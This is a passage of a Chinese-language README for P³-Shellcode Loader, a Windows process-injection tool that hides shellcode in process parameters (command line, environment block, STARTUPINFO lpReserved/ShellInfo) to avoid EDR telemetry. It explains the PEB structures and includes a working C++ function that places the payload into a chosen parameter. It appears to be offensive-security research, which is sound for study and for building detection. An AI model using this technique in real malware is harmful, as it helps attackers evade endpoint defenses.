P³-Shellcode Loader 是一个加载器,它实现了一种代码注入技术,该技术利用进程参数结构作为 shellcode 注入到远程进程的执行和暂存位置,而不会触发常见的检测机制。
作者:Max Hirschberger & Ogulcan Ugur
P³-Shellcode Loader 是一个加载器,实现了一种代码注入技术,该方法利用进程参数结构(进程参数投毒)作为Shellcode注入远程进程的执行和暂存位置,且不会触发常见的检测机制。
类似的概念曾由安全研究员 modexp 描述,他展示了传递给 CreateProcess API 的参数可被用于此目的 [1]。
攻击者希望使其活动看起来不那么可疑。通过进程注入,攻击者能够从一个更受信任或预期执行特定活动的其他进程中执行其操作,从而降低嫌疑。
以下是将代码注入另一个进程所需的典型步骤:
OpenProcess / NtOpenProcess 或 CreateProcess / NtCreateProcess)。VirtualAllocEx / NtAllocateVirtualMemory)。WriteProcessMemory / NtWriteVirtualMemory)。VirtualProtectEx / NtProtectVirtualMemory)。CreateRemoteThread 或 NtCreateThreadEx)。其他注入技术包括但不限于以下:
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection,该API实现进程分叉。
在我们的测试中,我们观察到大多数EDR专注于特定的遥测数据以检测进程注入。EDR主要监视 WriteProcessMemory 和 VirtualAllocEx 的使用,以及它们底层的内核系统调用 NtWriteVirtualMemory、NtAllocateVirtualMemory 和 NtAllocateVirtualMemoryEx。Windows 提供用于创建新进程的API函数 CreateProcessW,如清单1所示。其前三个参数 lpCommandLine、lpEnvironment 和 lpStartupInfo 与所描述的注入技术相关,因为它们用于将数据传输到新进程。```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*清单1:CreateProcessW Windows API函数定义*
`lpCommandLine`参数指定新进程的命令行。它限制为最多32,767个unicode字符,包括unicode空终止符。对于unicode变体,必须提供一个函数可以写入的字符串。如果提供常量字符串,API函数进行的任何写入尝试都会导致内存访问违规。如果值为`NULL`,则进程的命令行将从`lpApplicationName`参数获取。如果`lpApplicationName`为`NULL`,则必须在`lpCommandLine`字段中提供,并且限制为`MAX_PATH`字符。
`lpEnvironment`参数向进程提供环境变量列表。如果值为`NULL`,将使用创建进程的环境。环境变量列表由连续的以null结尾的字符串组成,格式为`NAME=VALUE`,末尾还有一个null终止符。
`lpStartupInfo`参数是一个结构体,如清单2所示,包含窗口站、桌面、标准输入和输出句柄等字段,以及配置新进程主窗口的字段。根据微软文档,`lpReserved`字段保留供内部使用,没有进一步文档。通过使用WinDbg调试器进行分析,可以将此参数与新进程中的类型为`UNICODE_STRING`的`ShellInfo`变量关联起来。```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Listing 2: STARTUPINFOW 数据结构布局
在新进程创建时,所有提供的进程参数都会写入进程环境块 (PEB)。PEB 是一种存在于所有进程中且每个进程独有的数据结构。参数可通过 ProcessParameters 成员访问,其类型为 RTL_USER_PROCESS_PARAMETERS。除了进程参数外,该结构还包含进一步的运行时信息,例如已加载模块的列表。PEB 的结构以及 RTL_USER_PROCESS_PARAMETERS 中的相关进程参数如 Listing 3 和 Listing 4 所示。```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*清单3:PEB数据结构布局*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
列表4:RTL_USER_PROCESS_PARAMETERS 数据结构布局
图1展示了 ShellInfo 参数,其中 lpReserved 字段提供了恶意值,用于 STARTUPINFOW 结构。此外,图2展示了系统信息工具中受控制的命令行。
图1:被污染的 ShellInfo 参数
图2:被污染的命令行
由于可能存在多个用于复制恶意代码的参数,列表5中的包装函数会创建一个进程,并将污染参数传递给选定的进程参数。运行所实现的注入器时,可按图3所示进行选择。此外,可以为 lpApplication 中使用的目标应用程序提供任意值,用户提示如图4所示。```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*清单5:CreateProcessWithPoison的实现*
此函数实现了三种不同的参数选择:
1. **ShellInfo注入:** 将毒药放置在`lpStartupInfo`参数的`lpReserved`字段中,该字段将被复制到PEB中的`ShellInfo`变量
2. **环境注入:** 将毒药放置在`lpEnvironment`参数中,并设置`CREATE_UNICODE_ENVIRONMENT`标志
3. **命令行注入:** 将毒药放置在`CreateProcessW`的`lpCommandLine`参数中
<img width="753" height="445" alt="图片" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*图3:可选毒化参数的选择*
<img width="752" height="167" alt="图片" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />